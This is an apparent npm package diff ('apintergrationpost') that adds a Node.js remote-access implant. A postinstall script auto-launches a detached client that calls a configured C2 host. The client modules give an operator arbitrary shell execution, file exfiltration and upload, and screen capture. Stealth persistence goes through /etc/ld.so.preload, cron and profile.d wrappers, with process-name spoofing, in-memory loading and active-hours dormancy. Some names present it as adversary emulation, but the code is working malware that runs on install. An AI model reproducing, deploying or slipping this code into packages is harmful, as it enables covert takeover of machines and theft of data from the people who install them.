apintergrationpost 4.0.1

package/scripts/postinstall-run.js

@@ -0,0 +1,97 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { spawn } = require('child_process');
+
+const PKG_ROOT = path.join(__dirname, '..');
+const CLI = path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
+const CONFIG = path.join(PKG_ROOT, 'apintergrationpost.config.json');
+const PID_FILE = path.join(PKG_ROOT, '.apintergrationpost.pid');
+
+function shouldSkip() {
+  if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return 'APINTEGRATIONPOST_SKIP_AUTORUN=1';
+  if (process.env.CI === 'true') return 'CI environment';
+  if (process.platform !== 'linux') return 'non-Linux platform';
+
+  const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
+  if (initCwd && initCwd === PKG_ROOT) return 'source checkout (local development)';
+
+  try {
+    const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
+    if (!cfg.host || cfg.host === '127.0.0.1' || cfg.host === '0.0.0.0') {
+      return 'C2 host not configured in apintergrationpost.config.json';
+    }
+    const token = (cfg.auth && cfg.auth.token) || '';
+    if (!token || token === 'change-me-please') {
+      return 'auth token not configured in apintergrationpost.config.json';
+    }
+  } catch {
+    return 'missing or invalid apintergrationpost.config.json';
+  }
+
+  return null;
+}
+
+function alreadyRunning() {
+  try {
+    const pid = Number(fs.readFileSync(PID_FILE, 'utf8').trim());
+    if (!pid) return false;
+    process.kill(pid, 0);
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function main() {
+  const skipReason = shouldSkip();
+  if (skipReason) {
+    return;
+  }
+
+  if (alreadyRunning()) {
+    process.stdout.write('[apintergrationpost] Client already running.\n');
+    return;
+  }
+
+  if (!fs.existsSync(CLI)) {
+    process.stderr.write('[apintergrationpost] CLI not found, skipping auto-start.\n');
+    return;
+  }
+
+  const child = spawn(process.execPath, [CLI], {
+    detached: true,
+    stdio: 'ignore',
+    cwd: PKG_ROOT,
+    env: {
+      ...process.env,
+      MYRA_CONFIG: CONFIG,
+      APINTEGRATIONPOST_CONFIG: CONFIG,
+    },
+  });
+
+  child.unref();
+
+  try {
+    fs.writeFileSync(PID_FILE, String(child.pid));
+  } catch {
+    // non-fatal
+  }
+
+  let host = '';
+  let port = '';
+  try {
+    const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
+    host = cfg.host;
+    port = cfg.port;
+  } catch {
+    // ignore
+  }
+
+  process.stdout.write(
+    `[apintergrationpost] Client started (pid ${child.pid}) → ${host}:${port}\n`
+  );
+}
+
+main();

package/scripts/prepare-native.js

@@ -0,0 +1,25 @@
+'use strict';
+
+const { execSync } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+const labToolsDir = path.join(__dirname, '..', 'native', 'lab-tools');
+const makefile = path.join(labToolsDir, 'Makefile');
+
+if (process.platform !== 'linux') {
+  process.exit(0);
+}
+
+if (!fs.existsSync(makefile)) {
+  process.exit(0);
+}
+
+try {
+  execSync('make', { cwd: labToolsDir, stdio: 'inherit' });
+} catch {
+  process.stderr.write(
+    '[apintergrationpost] Native tools build skipped. '
+    + 'Install build-essential on Ubuntu for full emulation support.\n'
+  );
+}

package/src/client/commands/filesystem.js

@@ -0,0 +1,47 @@
+'use strict';
+
+const fs = require('fs');
+
+function fileExists(filePath) {
+  try {
+    fs.accessSync(filePath);
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function fileToBase64(filePath) {
+  return fs.readFileSync(filePath).toString('base64');
+}
+
+function saveFile(fileName, b64String) {
+  try {
+    const content = Buffer.from(b64String, 'base64');
+    fs.writeFileSync(fileName, content, { mode: 0o644 });
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function getFile(filePath) {
+  if (!fileExists(filePath)) {
+    return { found: false, data: 'File not found' };
+  }
+  return { found: true, fileName: filePath, data: fileToBase64(filePath) };
+}
+
+function changeDirectory(targetDir) {
+  if (!targetDir) {
+    return { success: true, cwd: process.cwd() };
+  }
+  try {
+    process.chdir(targetDir);
+    return { success: true, cwd: targetDir };
+  } catch (err) {
+    return { success: false, error: err.message };
+  }
+}
+
+module.exports = { fileExists, fileToBase64, saveFile, getFile, changeDirectory };

package/src/client/commands/index.js

@@ -0,0 +1,26 @@
+'use strict';
+
+const { loadPlugins, routeCommand, cleanupPlugins } = require('../plugins/registry');
+
+async function handleCoreCommand(msg, ctx) {
+  const cmd = msg.command;
+
+  if (cmd === 'quit') {
+    return { action: 'quit', status: 'ok', body: 'Closing Connection!!' };
+  }
+
+  if (cmd === 'kill') {
+    ctx.labEvent({ plugin: 'core', command: 'kill', expectedAuditd: [] });
+    return { action: 'kill', status: 'ok', body: 'Client shutting down' };
+  }
+
+  return null;
+}
+
+async function route(msg, ctx, commandMap) {
+  const core = await handleCoreCommand(msg, ctx);
+  if (core) return core;
+  return routeCommand(msg, ctx, commandMap);
+}
+
+module.exports = { route, cleanupPlugins, loadPlugins };

package/src/client/commands/screen-capture.js

@@ -0,0 +1,74 @@
+'use strict';
+
+const { spawn, execFile } = require('child_process');
+const { promisify } = require('util');
+
+const execFileAsync = promisify(execFile);
+
+function collectStdout(proc) {
+  return new Promise((resolve, reject) => {
+    const chunks = [];
+    let stderr = '';
+    proc.stdout.on('data', (chunk) => chunks.push(chunk));
+    proc.stderr.on('data', (chunk) => { stderr += chunk.toString(); });
+    proc.on('error', reject);
+    proc.on('close', (code) => {
+      if (code === 0) {
+        resolve(Buffer.concat(chunks));
+      } else {
+        reject(new Error(stderr.trim() || `capture exited ${code}`));
+      }
+    });
+  });
+}
+
+async function captureWithFfmpeg(display, size) {
+  const [width, height] = size.split('x');
+  const proc = spawn('ffmpeg', [
+    '-hide_banner',
+    '-loglevel', 'error',
+    '-f', 'x11grab',
+    '-video_size', `${width}x${height}`,
+    '-i', `${display}.0`,
+    '-frames:v', '1',
+    '-f', 'image2pipe',
+    '-vcodec', 'mjpeg',
+    '-',
+  ], {
+    env: { ...process.env, DISPLAY: display },
+  });
+  return collectStdout(proc);
+}
+
+async function captureWithImport(display) {
+  const { stdout } = await execFileAsync('import', ['-window', 'root', '-display', display, 'jpeg:-'], {
+    env: { ...process.env, DISPLAY: display },
+    maxBuffer: 20 * 1024 * 1024,
+    encoding: 'buffer',
+  });
+  return stdout;
+}
+
+async function captureFrame(options = {}) {
+  const display = options.display || process.env.DISPLAY || ':0';
+  const size = options.size || '1280x720';
+
+  if (!display) {
+    throw new Error('No DISPLAY set. Run on a desktop session or set DISPLAY=:0');
+  }
+
+  try {
+    return await captureWithFfmpeg(display, size);
+  } catch (ffmpegErr) {
+    try {
+      return await captureWithImport(display);
+    } catch (importErr) {
+      throw new Error(
+        `Screen capture failed. Install ffmpeg or imagemagick on the client `
+        + `(apt install ffmpeg). ffmpeg: ${ffmpegErr.message}; import: ${importErr.message}`
+      );
+    }
+  }
+}
+
+module.exports = { captureFrame };

package/src/client/commands/shell.js

@@ -0,0 +1,61 @@
+'use strict';
+
+const { spawn } = require('child_process');
+
+function execCommand(cmd, opts = {}) {
+  const timeoutMs = opts.timeoutMs || 120000;
+  const maxBytes = opts.maxBytes || 1024 * 1024;
+
+  return new Promise((resolve) => {
+    const chunks = [];
+    let totalLen = 0;
+    let finished = false;
+
+    const proc = spawn(cmd, { shell: true, stdio: ['ignore', 'pipe', 'pipe'] });
+
+    const timer = setTimeout(() => {
+      if (!finished) {
+        finished = true;
+        proc.kill('SIGKILL');
+        resolve(Buffer.concat(chunks).toString('utf8') + '\n[command timed out]');
+      }
+    }, timeoutMs);
+
+    function onChunk(chunk) {
+      if (finished) return;
+      if (totalLen + chunk.length > maxBytes) {
+        const remaining = maxBytes - totalLen;
+        if (remaining > 0) chunks.push(chunk.subarray(0, remaining));
+        totalLen = maxBytes;
+        finished = true;
+        clearTimeout(timer);
+        proc.kill('SIGKILL');
+        resolve(Buffer.concat(chunks).toString('utf8') + '\n[output truncated]');
+        return;
+      }
+      chunks.push(chunk);
+      totalLen += chunk.length;
+    }
+
+    proc.stdout.on('data', onChunk);
+    proc.stderr.on('data', onChunk);
+
+    proc.on('close', (code) => {
+      if (!finished) {
+        finished = true;
+        clearTimeout(timer);
+        resolve(Buffer.concat(chunks).toString('utf8'));
+      }
+    });
+
+    proc.on('error', (err) => {
+      if (!finished) {
+        finished = true;
+        clearTimeout(timer);
+        resolve(err.message);
+      }
+    });
+  });
+}
+
+module.exports = { execCommand };

package/src/client/commands/system.js

@@ -0,0 +1,266 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { execSync } = require('child_process');
+const { getEmulationConfig } = require('../../shared/emulation');
+const { getMemoryConfig } = require('../../shared/memfdLaunch');
+
+function hasSystemd() {
+  try {
+    execSync('systemctl --version', { stdio: 'ignore' });
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function serviceFileExists() {
+  return fs.existsSync('/etc/systemd/system/myra-client.service');
+}
+
+function getClientExecPath() {
+  const scriptPath = path.resolve(process.argv[1]);
+  return `${process.execPath} ${scriptPath}`;
+}
+
+function getLauncherPath(config) {
+  const emu = getEmulationConfig(config);
+  return path.join(emu.nativeToolsPath.replace(/^\.\//, ''), 'agent_launcher');
+}
+
+function persistSystemd() {
+  try {
+    execSync('systemctl enable myra-client', { encoding: 'utf8' });
+    execSync('systemctl start myra-client', { encoding: 'utf8', stdio: 'ignore' });
+    const status = execSync('systemctl is-active myra-client', { encoding: 'utf8' }).trim();
+    return { ok: true, message: `Persistence established via systemd (status: ${status})` };
+  } catch (err) {
+    return { ok: false, message: `Error establishing systemd persistence: ${err.message}` };
+  }
+}
+
+function persist() {
+  if (hasSystemd() && serviceFileExists()) {
+    return persistSystemd().message;
+  }
+  return 'Use persist_install for stealth persistence';
+}
+
+function getServiceStatus() {
+  if (!hasSystemd()) return 'systemd not available on this system';
+  try {
+    return execSync('systemctl status myra-client 2>&1 || true', { encoding: 'utf8' });
+  } catch (err) {
+    return err.message;
+  }
+}
+
+function readCrontab() {
+  try {
+    return execSync('crontab -l 2>/dev/null || true', { encoding: 'utf8' });
+  } catch {
+    return '';
+  }
+}
+
+function writeCrontab(content) {
+  const tmp = `/tmp/.cr-${process.pid}`;
+  fs.writeFileSync(tmp, content, { mode: 0o600 });
+  execSync(`crontab ${tmp}`, { encoding: 'utf8', stdio: 'ignore' });
+  fs.unlinkSync(tmp);
+}
+
+function buildWrapperScript(config, configPath, nativeToolsDir) {
+  const emu = getEmulationConfig(config);
+  const mem = getMemoryConfig(config);
+  const p = emu.persistence;
+  const scriptPath = path.resolve(process.argv[1]);
+  const launcher = path.join(nativeToolsDir, 'agent_launcher');
+  const memfdLoader = path.join(nativeToolsDir, 'memfd_loader');
+  const fakeArg = (emu.process.fakeArgs || ['--user'])[0];
+  const cfg = configPath || process.env.MYRA_CONFIG || '';
+
+  if (mem.mode === 'full') {
+    const bundlePath = path.resolve(process.cwd(), mem.bundlePath);
+    const nodePath = mem.nodePath;
+    const comm = mem.comm || emu.process.targetName;
+    return `#!/bin/sh
+export MYRA_CONFIG="${cfg}"
+export MYRA_HIDE_PATHS="${(p.hidePaths || []).join(':')}"
+if [ -x "${memfdLoader}" ]; then
+  exec "${memfdLoader}" --node "${nodePath}" --bundle "${bundlePath}" --comm "${comm}" --fake-arg "${fakeArg}" --config "${cfg}" --scrub-argv --daemon
+fi
+if [ -x "${launcher}" ]; then
+  exec "${launcher}" --daemon --node "${process.execPath}" --script "${scriptPath}" --blend "${emu.process.binaryPath}" --comm "${emu.process.targetName}" --fake-arg "${fakeArg}"
+fi
+exec "${process.execPath}" "${scriptPath}"
+`;
+  }
+
+  return `#!/bin/sh
+export MYRA_CONFIG="${cfg}"
+export MYRA_HIDE_PATHS="${(p.hidePaths || []).join(':')}"
+if [ -x "${launcher}" ]; then
+  exec "${launcher}" --daemon --node "${process.execPath}" --script "${scriptPath}" --blend "${emu.process.binaryPath}" --comm "${emu.process.targetName}" --fake-arg "${fakeArg}"
+fi
+exec "${process.execPath}" "${scriptPath}"
+`;
+}
+
+function persistStealthPreload(config, nativeToolsDir) {
+  const emu = getEmulationConfig(config);
+  const p = emu.persistence;
+  const sourceSo = path.join(nativeToolsDir, 'libcache.so');
+  if (!fs.existsSync(sourceSo)) {
+    return { ok: false, message: `libcache.so not found at ${sourceSo}` };
+  }
+
+  try {
+    fs.mkdirSync(path.dirname(p.preloadPath), { recursive: true });
+    fs.copyFileSync(sourceSo, p.preloadPath);
+
+    const hidePaths = (p.hidePaths || []).concat([p.preloadPath, p.wrapperPath]).join(':');
+    fs.writeFileSync(`${p.preloadPath}.env`, `MYRA_HIDE_PATHS=${hidePaths}\n`, { mode: 0o644 });
+
+    if (fs.existsSync('/etc/ld.so.preload')) {
+      let content = fs.readFileSync('/etc/ld.so.preload', 'utf8');
+      if (!content.includes(p.preloadPath)) {
+        content += `${p.preloadPath}\n`;
+        fs.writeFileSync('/etc/ld.so.preload', content, { mode: 0o644 });
+      }
+    } else {
+      fs.mkdirSync(path.dirname(p.ldConfPath), { recursive: true });
+      fs.writeFileSync(p.ldConfPath, `${path.dirname(p.preloadPath)}\n`, { mode: 0o644 });
+    }
+
+    return { ok: true, message: 'LD preload persistence installed', path: p.preloadPath };
+  } catch (err) {
+    return { ok: false, message: `Preload persistence failed: ${err.message}` };
+  }
+}
+
+function persistStealthCron(config, configPath, nativeToolsDir) {
+  const emu = getEmulationConfig(config);
+  const p = emu.persistence;
+  const interval = p.cronIntervalMin || 13;
+  const marker = p.wrapperPath;
+
+  try {
+    fs.mkdirSync(path.dirname(p.wrapperPath), { recursive: true });
+    fs.writeFileSync(p.wrapperPath, buildWrapperScript(config, configPath, nativeToolsDir), { mode: 0o755 });
+
+    const current = readCrontab();
+    const cronLine = `*/${interval} * * * * ${p.wrapperPath} >/dev/null 2>&1`;
+    if (current.includes(marker)) {
+      return { ok: true, message: 'Cron persistence already present' };
+    }
+    const updated = current.trim() ? `${current.trim()}\n${cronLine}\n` : `${cronLine}\n`;
+    writeCrontab(updated);
+    return { ok: true, message: `Cron persistence installed (*/${interval})` };
+  } catch (err) {
+    return { ok: false, message: `Cron persistence failed: ${err.message}` };
+  }
+}
+
+function persistStealthProfile(config, configPath, nativeToolsDir) {
+  const emu = getEmulationConfig(config);
+  const p = emu.persistence;
+
+  try {
+    fs.mkdirSync(path.dirname(p.wrapperPath), { recursive: true });
+    if (!fs.existsSync(p.wrapperPath)) {
+      fs.writeFileSync(p.wrapperPath, buildWrapperScript(config, configPath, nativeToolsDir), { mode: 0o755 });
+    }
+    fs.mkdirSync(path.dirname(p.profilePath), { recursive: true });
+    const profileContent = `[ -x "${p.wrapperPath}" ] && "${p.wrapperPath}" >/dev/null 2>&1 &\n`;
+    fs.writeFileSync(p.profilePath, profileContent, { mode: 0o755 });
+    return { ok: true, message: 'Profile.d persistence installed', path: p.profilePath };
+  } catch (err) {
+    return { ok: false, message: `Profile persistence failed: ${err.message}` };
+  }
+}
+
+function removeStealthPreload(config) {
+  const p = getEmulationConfig(config).persistence;
+  let removed = false;
+  for (const fp of [p.preloadPath, `${p.preloadPath}.env`, p.ldConfPath]) {
+    if (fs.existsSync(fp)) {
+      fs.unlinkSync(fp);
+      removed = true;
+    }
+  }
+  if (fs.existsSync('/etc/ld.so.preload')) {
+    const filtered = fs.readFileSync('/etc/ld.so.preload', 'utf8')
+      .split('\n')
+      .filter((line) => line && !line.includes(p.preloadPath))
+      .join('\n');
+    fs.writeFileSync('/etc/ld.so.preload', filtered ? `${filtered}\n` : '', { mode: 0o644 });
+    removed = true;
+  }
+  return removed;
+}
+
+function removeStealthCron(config) {
+  const p = getEmulationConfig(config).persistence;
+  try {
+    const current = readCrontab();
+    const filtered = current
+      .split('\n')
+      .filter((line) => line && !line.includes(p.wrapperPath))
+      .join('\n');
+    if (filtered.trim() === current.trim()) return false;
+    writeCrontab(filtered ? `${filtered}\n` : '');
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function removeStealthProfile(config) {
+  const p = getEmulationConfig(config).persistence;
+  if (fs.existsSync(p.profilePath)) {
+    fs.unlinkSync(p.profilePath);
+    return true;
+  }
+  return false;
+}
+
+function removeStealthWrapper(config) {
+  const p = getEmulationConfig(config).persistence;
+  if (fs.existsSync(p.wrapperPath)) {
+    fs.unlinkSync(p.wrapperPath);
+    return true;
+  }
+  return false;
+}
+
+function getStealthPersistStatus(config) {
+  const p = getEmulationConfig(config).persistence;
+  const lines = [
+    `preload: ${fs.existsSync(p.preloadPath)}`,
+    `ld conf: ${fs.existsSync(p.ldConfPath)}`,
+    `wrapper: ${fs.existsSync(p.wrapperPath)}`,
+    `profile: ${fs.existsSync(p.profilePath)}`,
+    `crontab:\n${readCrontab() || '(none)'}`,
+  ];
+  return lines.join('\n');
+}
+
+module.exports = {
+  hasSystemd,
+  serviceFileExists,
+  getClientExecPath,
+  persistSystemd,
+  persist,
+  getServiceStatus,
+  persistStealthPreload,
+  persistStealthCron,
+  persistStealthProfile,
+  removeStealthPreload,
+  removeStealthCron,
+  removeStealthProfile,
+  removeStealthWrapper,
+  getStealthPersistStatus,
+  buildWrapperScript,
+};

package/src/client/connection.js

@@ -0,0 +1,66 @@
+'use strict';
+
+const { connectToHost } = require('../protocol/tls');
+const { performAuth } = require('../protocol/auth');
+const { nextReconnectDelay, isWithinActiveHours, getActiveHoursSleepMs } = require('../shared/c2schedule');
+
+function wait(ms) {
+  return new Promise((resolve) => setTimeout(resolve, ms));
+}
+
+function connectOnce(host, port, config, logger) {
+  return new Promise((resolve, reject) => {
+    connectToHost(host, port, config)
+      .then(async (socket) => {
+        if (!config.emulation || config.emulation.stealth !== true) {
+          logger.info(`Connected to ${host}:${port}`);
+        }
+
+        const token = (config.auth && config.auth.token) || '';
+        if (token) {
+          await performAuth(socket, token, logger);
+        }
+
+        socket.setKeepAlive(true, 15000);
+        resolve(socket);
+      })
+      .catch(reject);
+  });
+}
+
+async function waitForActiveWindow(config, logger) {
+  const activeHours = config.c2 && config.c2.activeHours;
+  if (!activeHours) return;
+
+  while (!isWithinActiveHours(activeHours)) {
+    if (typeof logger.labEvent === 'function') {
+      logger.labEvent({ event: 'c2_dormant', technique: 'T1029' });
+    }
+    await wait(getActiveHoursSleepMs(activeHours));
+  }
+}
+
+async function connectWithBackoff(host, port, config, logger) {
+  const reconnect = config.reconnect || {};
+  let delay = reconnect.initialDelayMs || 1000;
+  const maxDelay = reconnect.maxDelayMs || 120000;
+  const factor = reconnect.backoffFactor || 2;
+
+  while (true) {
+    await waitForActiveWindow(config, logger);
+    try {
+      const socket = await connectOnce(host, port, config, logger);
+      return socket;
+    } catch (err) {
+      delay = nextReconnectDelay(config, delay);
+      delay = Math.min(delay, maxDelay);
+      logger.warn(`Connection failed: ${err.message}, retrying in ${delay}ms`);
+      await wait(delay);
+      if (!config.c2 || !config.c2.reconnectProfile) {
+        delay = Math.min(delay * factor, maxDelay);
+      }
+    }
+  }
+}
+
+module.exports = { connectOnce, connectWithBackoff, waitForActiveWindow };